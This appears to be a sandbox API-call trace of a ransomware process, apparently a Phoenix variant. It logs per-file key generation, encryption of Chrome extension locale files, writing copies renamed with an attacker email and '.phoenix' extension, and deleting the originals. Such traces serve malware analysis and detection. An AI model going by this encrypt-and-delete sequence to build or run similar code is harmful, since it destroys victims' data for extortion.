	[0264.804] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0264.804] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.804] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3e56, lpOverlapped=0x0) returned 1
	[0264.837] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e60, dwBufLen=0x3e60 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3e60) returned 1
	[0264.837] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3e60, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3e60, lpOverlapped=0x0) returned 1
	[0264.840] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0264.840] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.840] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.840] CryptDestroyKey (hKey=0x151600) returned 1
	[0264.840] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.840] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.840] CloseHandle (hObject=0x254) returned 1
	[0264.840] CloseHandle (hObject=0x2b0) returned 1
	[0264.841] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\id\\messages.json")) returned 1
	[0264.842] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.842] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.842] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=20596) returned 1
	[0264.842] CloseHandle (hObject=0x2b0) returned 1
	[0264.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json")) returned 0x20
	[0264.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.843] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.843] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.843] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0264.844] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.844] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5074, lpOverlapped=0x0) returned 1
	[0264.928] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5080, dwBufLen=0x5080 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5080) returned 1
	[0264.928] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5080, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5080, lpOverlapped=0x0) returned 1
	[0264.930] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0264.930] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.930] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.930] CryptDestroyKey (hKey=0x151780) returned 1
	[0264.930] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.930] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0264.930] CloseHandle (hObject=0x2b0) returned 1
	[0264.930] CloseHandle (hObject=0x254) returned 1
	[0264.930] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\iw\\messages.json")) returned 1
	[0264.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.932] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.932] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21923) returned 1
	[0264.932] CloseHandle (hObject=0x254) returned 1
	[0264.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json")) returned 0x20
	[0264.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.933] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.933] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0264.934] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.934] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x55a3, lpOverlapped=0x0) returned 1
	[0264.996] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x55b0, dwBufLen=0x55b0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x55b0) returned 1
	[0264.996] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x55b0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x55b0, lpOverlapped=0x0) returned 1
	[0264.997] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0264.997] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.998] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0264.998] CryptDestroyKey (hKey=0x151140) returned 1
	[0264.998] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0264.998] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0264.998] CloseHandle (hObject=0x254) returned 1
	[0264.998] CloseHandle (hObject=0x2b0) returned 1
	[0264.998] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\kn\\messages.json")) returned 1
	[0264.999] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.000] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16831) returned 1
	[0265.000] CloseHandle (hObject=0x2b0) returned 1
	[0265.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json")) returned 0x20
	[0265.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.000] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.001] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.004] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0265.004] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.004] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x41bf, lpOverlapped=0x0) returned 1
	[0265.025] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x41c0, dwBufLen=0x41c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x41c0) returned 1
	[0265.025] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x41c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x41c0, lpOverlapped=0x0) returned 1
	[0265.026] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0265.026] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.026] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.026] CryptDestroyKey (hKey=0x151640) returned 1
	[0265.026] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.026] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0265.026] CloseHandle (hObject=0x2b0) returned 1
	[0265.026] CloseHandle (hObject=0x254) returned 1
	[0265.026] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\lv\\messages.json")) returned 1
	[0265.027] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0265.027] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.028] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21028) returned 1
	[0265.028] CloseHandle (hObject=0x254) returned 1
	[0265.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json")) returned 0x20
	[0265.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0265.028] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.028] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0265.028] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.029] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1516c0) returned 1
	[0265.029] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.029] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5224, lpOverlapped=0x0) returned 1
	[0265.040] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5230, dwBufLen=0x5230 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x5230) returned 1
	[0265.040] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x5230, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x5230, lpOverlapped=0x0) returned 1
	[0265.041] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0265.041] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0265.041] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0265.041] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.041] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0265.041] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0265.041] CloseHandle (hObject=0x254) returned 1
	[0265.041] CloseHandle (hObject=0x2b0) returned 1
	[0265.042] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\mr\\messages.json")) returned 1
